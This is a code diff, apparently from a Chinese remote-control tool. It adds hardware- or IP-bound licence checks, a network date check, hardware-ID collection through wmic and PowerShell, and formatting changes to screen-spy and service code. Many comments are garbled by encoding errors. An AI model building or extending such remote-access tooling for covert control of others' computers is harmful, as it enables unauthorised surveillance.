::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
|
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
|
||||||
|
|
||||||
return TRUE; // return TRUE unless you set the focus to a control
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
// 异常: OCX 属性页应返回 FALSE
|
// 异常: OCX 属性页应返回 FALSE
|
||||||
@@ -502,14 +502,14 @@ void CBuildDlg::OnHelpFindden()
|
|||||||
void CBuildDlg::OnMenuEncryptIp()
|
void CBuildDlg::OnMenuEncryptIp()
|
||||||
{
|
{
|
||||||
m_strEncryptIP = m_strEncryptIP == "是" ? "否" : "是";
|
m_strEncryptIP = m_strEncryptIP == "是" ? "否" : "是";
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||||
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == "是" ? MF_CHECKED : MF_UNCHECKED);
|
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == "是" ? MF_CHECKED : MF_UNCHECKED);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CBuildDlg::OnClientRunasAdmin()
|
void CBuildDlg::OnClientRunasAdmin()
|
||||||
{
|
{
|
||||||
m_runasAdmin = !m_runasAdmin;
|
m_runasAdmin = !m_runasAdmin;
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||||
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED);
|
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -89,6 +89,8 @@ CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/)
|
|||||||
: CDialogEx(IDD_DIALOG_PASSWORD, pParent)
|
: CDialogEx(IDD_DIALOG_PASSWORD, pParent)
|
||||||
, m_sDeviceID(_T(""))
|
, m_sDeviceID(_T(""))
|
||||||
, m_sPassword(_T(""))
|
, m_sPassword(_T(""))
|
||||||
|
, m_sPasscodeHmac(THIS_CFG.GetStr("settings", "PwdHmac", "").c_str())
|
||||||
|
, m_nBindType(THIS_CFG.GetInt("settings", "BindType", 0))
|
||||||
{
|
{
|
||||||
m_hIcon = nullptr;
|
m_hIcon = nullptr;
|
||||||
}
|
}
|
||||||
@@ -106,10 +108,15 @@ void CPasswordDlg::DoDataExchange(CDataExchange* pDX)
|
|||||||
DDV_MaxChars(pDX, m_sDeviceID, 19);
|
DDV_MaxChars(pDX, m_sDeviceID, 19);
|
||||||
DDX_Text(pDX, IDC_EDIT_DEVICEPWD, m_sPassword);
|
DDX_Text(pDX, IDC_EDIT_DEVICEPWD, m_sPassword);
|
||||||
DDV_MaxChars(pDX, m_sPassword, 42);
|
DDV_MaxChars(pDX, m_sPassword, 42);
|
||||||
|
DDX_Control(pDX, IDC_COMBO_BIND, m_ComboBinding);
|
||||||
|
DDX_Control(pDX, IDC_EDIT_PASSCODE_HMAC, m_EditPasscodeHmac);
|
||||||
|
DDX_Text(pDX, IDC_EDIT_PASSCODE_HMAC, m_sPasscodeHmac);
|
||||||
|
DDX_CBIndex(pDX, IDC_COMBO_BIND, m_nBindType);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
BEGIN_MESSAGE_MAP(CPasswordDlg, CDialogEx)
|
BEGIN_MESSAGE_MAP(CPasswordDlg, CDialogEx)
|
||||||
|
ON_CBN_SELCHANGE(IDC_COMBO_BIND, &CPasswordDlg::OnCbnSelchangeComboBind)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -121,10 +128,32 @@ BOOL CPasswordDlg::OnInitDialog()
|
|||||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_PASSWORD));
|
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_PASSWORD));
|
||||||
SetIcon(m_hIcon, FALSE);
|
SetIcon(m_hIcon, FALSE);
|
||||||
|
|
||||||
|
m_ComboBinding.InsertString(0, "计算机硬件信息");
|
||||||
|
m_ComboBinding.InsertString(1, "主控IP或域名信息");
|
||||||
|
m_ComboBinding.SetCurSel(m_nBindType);
|
||||||
|
|
||||||
return TRUE; // return TRUE unless you set the focus to a control
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
// 异常: OCX 属性页应返回 FALSE
|
// 异常: OCX 属性页应返回 FALSE
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CPasswordDlg::OnCbnSelchangeComboBind()
|
||||||
|
{
|
||||||
|
m_nBindType = m_ComboBinding.GetCurSel();
|
||||||
|
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(m_nBindType);
|
||||||
|
m_sDeviceID = getFixedLengthID(hashSHA256(hardwareID)).c_str();
|
||||||
|
m_EditDeviceID.SetWindowTextA(m_sDeviceID);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPasswordDlg::OnOK()
|
||||||
|
{
|
||||||
|
UpdateData(TRUE);
|
||||||
|
if (!m_sDeviceID.IsEmpty()) {
|
||||||
|
THIS_CFG.SetInt("settings", "BindType", m_nBindType);
|
||||||
|
THIS_CFG.SetStr("settings", "PwdHmac", m_sPasscodeHmac.GetString());
|
||||||
|
}
|
||||||
|
|
||||||
|
CDialogEx::OnOK();
|
||||||
|
}
|
||||||
|
|
||||||
// CPasswordDlg 消息处理程序
|
// CPasswordDlg 消息处理程序
|
||||||
|
|
||||||
@@ -197,7 +226,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
|
|||||||
getFixedLengthID(finalKey);
|
getFixedLengthID(finalKey);
|
||||||
m_sPassword = fixedKey.c_str();
|
m_sPassword = fixedKey.c_str();
|
||||||
m_EditPassword.SetWindowTextA(fixedKey.c_str());
|
m_EditPassword.SetWindowTextA(fixedKey.c_str());
|
||||||
std::string hardwareID = getHardwareID(getHwFallback);
|
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID();
|
||||||
std::string hashedID = hashSHA256(hardwareID);
|
std::string hashedID = hashSHA256(hardwareID);
|
||||||
std::string deviceID = getFixedLengthID(hashedID);
|
std::string deviceID = getFixedLengthID(hashedID);
|
||||||
std::string hmac = genHMAC(pwdHash, m_sUserPwd.GetString());
|
std::string hmac = genHMAC(pwdHash, m_sUserPwd.GetString());
|
||||||
|
|||||||
@@ -41,6 +41,12 @@ public:
|
|||||||
CString m_sDeviceID;
|
CString m_sDeviceID;
|
||||||
CString m_sPassword;
|
CString m_sPassword;
|
||||||
virtual BOOL OnInitDialog();
|
virtual BOOL OnInitDialog();
|
||||||
|
CComboBox m_ComboBinding;
|
||||||
|
afx_msg void OnCbnSelchangeComboBind();
|
||||||
|
CEdit m_EditPasscodeHmac;
|
||||||
|
CString m_sPasscodeHmac;
|
||||||
|
int m_nBindType;
|
||||||
|
virtual void OnOK();
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -23,11 +23,11 @@ const uint64_t NTP_EPOCH_OFFSET = 2208988800ULL;
|
|||||||
class DateVerify
|
class DateVerify
|
||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
bool m_hasVerified = false;
|
bool m_hasVerified = false;
|
||||||
bool m_lastVerifyResult = true;
|
bool m_lastVerifyResult = true;
|
||||||
time_t m_lastVerifyLocalTime = 0;
|
time_t m_lastVerifyLocalTime = 0;
|
||||||
time_t m_lastNetworkTime = 0;
|
time_t m_lastNetworkTime = 0;
|
||||||
static const int VERIFY_INTERVAL = 6 * 3600; // 6小时
|
static const int VERIFY_INTERVAL = 6 * 3600; // 6小时
|
||||||
|
|
||||||
// 初始化Winsock
|
// 初始化Winsock
|
||||||
bool initWinsock()
|
bool initWinsock()
|
||||||
@@ -153,47 +153,47 @@ private:
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 验证本地日期是否被修改
|
// 验证本地日期是否被修改
|
||||||
bool isLocalDateModified()
|
bool isLocalDateModified()
|
||||||
{
|
{
|
||||||
time_t currentLocalTime = time(nullptr);
|
time_t currentLocalTime = time(nullptr);
|
||||||
|
|
||||||
// 检查是否可以使用缓存
|
// 检查是否可以使用缓存
|
||||||
if (m_hasVerified) {
|
if (m_hasVerified) {
|
||||||
time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime;
|
time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime;
|
||||||
|
|
||||||
// 本地时间在合理范围内前进,使用缓存推算
|
// 本地时间在合理范围内前进,使用缓存推算
|
||||||
if (localElapsed >= 0 && localElapsed < VERIFY_INTERVAL) {
|
if (localElapsed >= 0 && localElapsed < VERIFY_INTERVAL) {
|
||||||
time_t estimatedNetworkTime = m_lastNetworkTime + localElapsed;
|
time_t estimatedNetworkTime = m_lastNetworkTime + localElapsed;
|
||||||
double diffDays = difftime(estimatedNetworkTime, currentLocalTime) / 86400.0;
|
double diffDays = difftime(estimatedNetworkTime, currentLocalTime) / 86400.0;
|
||||||
if (fabs(diffDays) <= 1.0) {
|
if (fabs(diffDays) <= 1.0) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 执行网络验证
|
// 执行网络验证
|
||||||
time_t networkTime = getNetworkTimeInChina();
|
time_t networkTime = getNetworkTimeInChina();
|
||||||
if (networkTime == 0) {
|
if (networkTime == 0) {
|
||||||
// 网络不可用:如果之前验证通过且本地时间没异常,暂时信任
|
// 网络不可用:如果之前验证通过且本地时间没异常,暂时信任
|
||||||
if (m_hasVerified && !m_lastVerifyResult) {
|
if (m_hasVerified && !m_lastVerifyResult) {
|
||||||
time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime;
|
time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime;
|
||||||
if (localElapsed >= -300 && localElapsed < 24 * 3600) {
|
if (localElapsed >= -300 && localElapsed < 24 * 3600) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新缓存
|
// 更新缓存
|
||||||
m_hasVerified = true;
|
m_hasVerified = true;
|
||||||
m_lastVerifyLocalTime = currentLocalTime;
|
m_lastVerifyLocalTime = currentLocalTime;
|
||||||
m_lastNetworkTime = networkTime;
|
m_lastNetworkTime = networkTime;
|
||||||
|
|
||||||
double diffDays = difftime(networkTime, currentLocalTime) / 86400.0;
|
double diffDays = difftime(networkTime, currentLocalTime) / 86400.0;
|
||||||
m_lastVerifyResult = fabs(diffDays) > 1.0;
|
m_lastVerifyResult = fabs(diffDays) > 1.0;
|
||||||
|
|
||||||
return m_lastVerifyResult;
|
return m_lastVerifyResult;
|
||||||
}
|
}
|
||||||
|
|
||||||
public:
|
public:
|
||||||
|
|
||||||
|
|||||||
@@ -130,7 +130,8 @@ public:
|
|||||||
m_IPAddress = pContext->GetPeerName().c_str();
|
m_IPAddress = pContext->GetPeerName().c_str();
|
||||||
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
|
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
|
||||||
}
|
}
|
||||||
int UpdateContext(CONTEXT_OBJECT* pContext) {
|
int UpdateContext(CONTEXT_OBJECT* pContext)
|
||||||
|
{
|
||||||
m_ContextObject = pContext;
|
m_ContextObject = pContext;
|
||||||
m_iocpServer = pContext->GetServer();
|
m_iocpServer = pContext->GetServer();
|
||||||
m_ContextObject->hDlg = this;
|
m_ContextObject->hDlg = this;
|
||||||
@@ -139,7 +140,8 @@ public:
|
|||||||
virtual ~CDialogBase() {}
|
virtual ~CDialogBase() {}
|
||||||
|
|
||||||
public:
|
public:
|
||||||
virtual BOOL ReceiveCommonMsg() {
|
virtual BOOL ReceiveCommonMsg()
|
||||||
|
{
|
||||||
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||||||
case TOKEN_CLIENT_MSG: {
|
case TOKEN_CLIENT_MSG: {
|
||||||
ClientMsg* msg = (ClientMsg*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0);
|
ClientMsg* msg = (ClientMsg*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0);
|
||||||
@@ -175,7 +177,8 @@ public:
|
|||||||
{
|
{
|
||||||
delete this;
|
delete this;
|
||||||
}
|
}
|
||||||
virtual BOOL ShouldReconnect() {
|
virtual BOOL ShouldReconnect()
|
||||||
|
{
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
// ȡ<><C8A1> SOCKET <20><>ȡ<EFBFBD><C8A1><EFBFBD>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ε<EFBFBD><CEB5><EFBFBD>
|
// ȡ<><C8A1> SOCKET <20><>ȡ<EFBFBD><C8A1><EFBFBD>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ε<EFBFBD><CEB5><EFBFBD>
|
||||||
@@ -184,13 +187,15 @@ public:
|
|||||||
m_bIsClosed = TRUE;
|
m_bIsClosed = TRUE;
|
||||||
|
|
||||||
m_ContextObject->CancelIO();
|
m_ContextObject->CancelIO();
|
||||||
}
|
}
|
||||||
BOOL IsClosed() const {
|
BOOL IsClosed() const
|
||||||
|
{
|
||||||
return m_bIsClosed;
|
return m_bIsClosed;
|
||||||
}
|
}
|
||||||
BOOL SayByeBye() {
|
BOOL SayByeBye()
|
||||||
BYTE bToken = COMMAND_BYE;
|
{
|
||||||
return m_ContextObject->Send2Client(&bToken, 1);
|
BYTE bToken = COMMAND_BYE;
|
||||||
|
return m_ContextObject->Send2Client(&bToken, 1);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -44,32 +44,13 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
|||||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||||
#endif
|
#endif
|
||||||
#else
|
#else
|
||||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
|
#ifdef _DEBUG
|
||||||
{
|
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||||
return 0;
|
#pragma comment(lib, "PrivateDesktop_Libd.lib")
|
||||||
}
|
#else
|
||||||
int UninitFileUpload()
|
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||||
{
|
#pragma comment(lib, "PrivateDesktop_Lib.lib")
|
||||||
return 0;
|
#endif
|
||||||
}
|
|
||||||
std::vector<std::string> GetClipboardFiles(int &result)
|
|
||||||
{
|
|
||||||
return{};
|
|
||||||
}
|
|
||||||
bool GetCurrentFolderPath(std::string& outDir)
|
|
||||||
{
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
|
||||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
|
|
||||||
{
|
|
||||||
finish(user);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
|
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
extern "C" void* x265_api_get_192()
|
extern "C" void* x265_api_get_192()
|
||||||
@@ -805,34 +786,33 @@ BOOL CScreenSpyDlg::SaveSnapshot(void)
|
|||||||
|
|
||||||
VOID CScreenSpyDlg::UpdateServerClipboard(char* szBuffer, ULONG ulLength)
|
VOID CScreenSpyDlg::UpdateServerClipboard(char* szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (!::OpenClipboard(NULL))
|
if (!::OpenClipboard(NULL))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
::EmptyClipboard();
|
::EmptyClipboard();
|
||||||
|
|
||||||
// UTF-8 转 Unicode
|
// UTF-8 转 Unicode
|
||||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, nullptr, 0);
|
int wlen = MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, nullptr, 0);
|
||||||
if (wlen > 0) {
|
if (wlen > 0) {
|
||||||
// 分配 Unicode 缓冲区(+1 确保 null 结尾)
|
// 分配 Unicode 缓冲区(+1 确保 null 结尾)
|
||||||
HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, (wlen + 1) * sizeof(wchar_t));
|
HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, (wlen + 1) * sizeof(wchar_t));
|
||||||
if (hGlobal != NULL) {
|
if (hGlobal != NULL) {
|
||||||
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
|
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
|
||||||
if (pWideStr) {
|
if (pWideStr) {
|
||||||
MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, pWideStr, wlen);
|
MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, pWideStr, wlen);
|
||||||
pWideStr[wlen] = L'\0'; // 确保 null 结尾
|
pWideStr[wlen] = L'\0'; // 确保 null 结尾
|
||||||
GlobalUnlock(hGlobal);
|
GlobalUnlock(hGlobal);
|
||||||
|
|
||||||
if (SetClipboardData(CF_UNICODETEXT, hGlobal) == NULL) {
|
if (SetClipboardData(CF_UNICODETEXT, hGlobal) == NULL) {
|
||||||
GlobalFree(hGlobal);
|
GlobalFree(hGlobal);
|
||||||
}
|
}
|
||||||
}
|
} else {
|
||||||
else {
|
GlobalFree(hGlobal);
|
||||||
GlobalFree(hGlobal);
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
CloseClipboard();
|
CloseClipboard();
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CScreenSpyDlg::SendServerClipboard(void)
|
VOID CScreenSpyDlg::SendServerClipboard(void)
|
||||||
|
|||||||
@@ -46,9 +46,10 @@ class CScreenSpyDlg : public DialogBase
|
|||||||
public:
|
public:
|
||||||
CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
||||||
virtual ~CScreenSpyDlg();
|
virtual ~CScreenSpyDlg();
|
||||||
virtual BOOL ShouldReconnect() {
|
virtual BOOL ShouldReconnect()
|
||||||
return TRUE;
|
{
|
||||||
}
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
VOID SendNext(void);
|
VOID SendNext(void);
|
||||||
VOID OnReceiveComplete();
|
VOID OnReceiveComplete();
|
||||||
|
|||||||
@@ -484,7 +484,8 @@ public:
|
|||||||
server = svr;
|
server = svr;
|
||||||
OnlineTime = time(0);
|
OnlineTime = time(0);
|
||||||
}
|
}
|
||||||
uint64_t GetAliveTime()const {
|
uint64_t GetAliveTime()const
|
||||||
|
{
|
||||||
return time(0) - OnlineTime;
|
return time(0) - OnlineTime;
|
||||||
}
|
}
|
||||||
Server* GetServer()
|
Server* GetServer()
|
||||||
@@ -520,7 +521,8 @@ public:
|
|||||||
{
|
{
|
||||||
return PeerName;
|
return PeerName;
|
||||||
}
|
}
|
||||||
void SetPeerName(const std::string& peer) {
|
void SetPeerName(const std::string& peer)
|
||||||
|
{
|
||||||
PeerName = peer;
|
PeerName = peer;
|
||||||
}
|
}
|
||||||
virtual int GetPort() const
|
virtual int GetPort() const
|
||||||
|
|||||||
@@ -462,7 +462,7 @@ BOOL ServerService_Uninstall(void)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL r = FALSE;
|
BOOL r = FALSE;
|
||||||
// 删除服务
|
// 删除服务
|
||||||
Mprintf("Deleting service...\n");
|
Mprintf("Deleting service...\n");
|
||||||
if (DeleteService(schService)) {
|
if (DeleteService(schService)) {
|
||||||
|
|||||||
@@ -85,10 +85,11 @@ std::string execCommand(const char* cmd)
|
|||||||
result.erase(remove(result.begin(), result.end(), '\r'), result.end());
|
result.erase(remove(result.begin(), result.end(), '\r'), result.end());
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
return result;
|
return result.empty() ? "ERROR" : result;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::string getHardwareID_PS() {
|
std::string getHardwareID_PS()
|
||||||
|
{
|
||||||
// Get-WmiObject <20><> PowerShell 2.0+ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (>=Win7)
|
// Get-WmiObject <20><> PowerShell 2.0+ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (>=Win7)
|
||||||
const char* psScript =
|
const char* psScript =
|
||||||
"(Get-WmiObject Win32_Processor).ProcessorId + '|' + "
|
"(Get-WmiObject Win32_Processor).ProcessorId + '|' + "
|
||||||
@@ -107,20 +108,23 @@ std::string getHardwareID_PS() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// <20><>ȡӲ<C8A1><D3B2> ID<49><44>CPU + <20><><EFBFBD><EFBFBD> + Ӳ<>̣<EFBFBD>
|
// <20><>ȡӲ<C8A1><D3B2> ID<49><44>CPU + <20><><EFBFBD><EFBFBD> + Ӳ<>̣<EFBFBD>
|
||||||
std::string getHardwareID(fallback fb)
|
std::string getHardwareID()
|
||||||
{
|
{
|
||||||
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> PowerShell <20><EFBFBD><EFBFBD><EFBFBD>
|
// wmic<69><63><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>ܱ<EFBFBD><DCB1>Ƴ<EFBFBD><EFBFBD><EFBFBD>
|
||||||
std::string psID = getHardwareID_PS();
|
|
||||||
if (!psID.empty()) {
|
|
||||||
return psID;
|
|
||||||
}
|
|
||||||
std::string cpuID = execCommand("wmic cpu get processorid");
|
std::string cpuID = execCommand("wmic cpu get processorid");
|
||||||
std::string boardID = execCommand("wmic baseboard get serialnumber");
|
std::string boardID = execCommand("wmic baseboard get serialnumber");
|
||||||
std::string diskID = execCommand("wmic diskdrive get serialnumber");
|
std::string diskID = execCommand("wmic diskdrive get serialnumber");
|
||||||
|
|
||||||
std::string combinedID = cpuID + "|" + boardID + "|" + diskID;
|
std::string combinedID = cpuID + "|" + boardID + "|" + diskID;
|
||||||
if (fb && combinedID.find("ERROR") != std::string::npos) {
|
if (combinedID.find("ERROR") != std::string::npos) {
|
||||||
return fb();
|
// ʧ<><CAA7><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> PowerShell <20><><EFBFBD><EFBFBD>
|
||||||
|
std::string psID = getHardwareID_PS();
|
||||||
|
if (!psID.empty()) {
|
||||||
|
Mprintf("Get hardware info with PowerShell: %s\n", psID.c_str());
|
||||||
|
return psID;
|
||||||
|
}
|
||||||
|
Mprintf("Get hardware info FAILED!!! \n");
|
||||||
|
Sleep(1234);
|
||||||
|
TerminateProcess(GetCurrentProcess(), 0);
|
||||||
}
|
}
|
||||||
return combinedID;
|
return combinedID;
|
||||||
}
|
}
|
||||||
@@ -170,11 +174,10 @@ std::string deriveKey(const std::string& password, const std::string& hardwareID
|
|||||||
return hashSHA256(password + " + " + hardwareID);
|
return hashSHA256(password + " + " + hardwareID);
|
||||||
}
|
}
|
||||||
|
|
||||||
std::string getDeviceID(fallback fb)
|
std::string getDeviceID(const std::string &hardwareId)
|
||||||
{
|
{
|
||||||
static std::string hardwareID = getHardwareID(fb);
|
std::string hashedID = hashSHA256(hardwareId);
|
||||||
static std::string hashedID = hashSHA256(hardwareID);
|
std::string deviceID = getFixedLengthID(hashedID);
|
||||||
static std::string deviceID = getFixedLengthID(hashedID);
|
|
||||||
return deviceID;
|
return deviceID;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -2,11 +2,9 @@
|
|||||||
|
|
||||||
#include <string>
|
#include <string>
|
||||||
|
|
||||||
typedef std::string(*fallback)();
|
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD>˹<EFBFBD><CBB9>ܽ<EFBFBD><DCBD>м<EFBFBD><D0BC><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD>˹<EFBFBD><CBB9>ܽ<EFBFBD><DCBD>м<EFBFBD><D0BC><EFBFBD>
|
||||||
|
|
||||||
std::string getHardwareID(fallback fb = NULL);
|
std::string getHardwareID();
|
||||||
|
|
||||||
std::string hashSHA256(const std::string& data);
|
std::string hashSHA256(const std::string& data);
|
||||||
|
|
||||||
@@ -16,7 +14,7 @@ std::string getFixedLengthID(const std::string& hash);
|
|||||||
|
|
||||||
std::string deriveKey(const std::string& password, const std::string& hardwareID);
|
std::string deriveKey(const std::string& password, const std::string& hardwareID);
|
||||||
|
|
||||||
std::string getDeviceID(fallback fb = NULL);
|
std::string getDeviceID(const std::string &hardwareId);
|
||||||
|
|
||||||
// Use HMAC to sign a message.
|
// Use HMAC to sign a message.
|
||||||
uint64_t SignMessage(const std::string& pwd, BYTE* msg, int len);
|
uint64_t SignMessage(const std::string& pwd, BYTE* msg, int len);
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user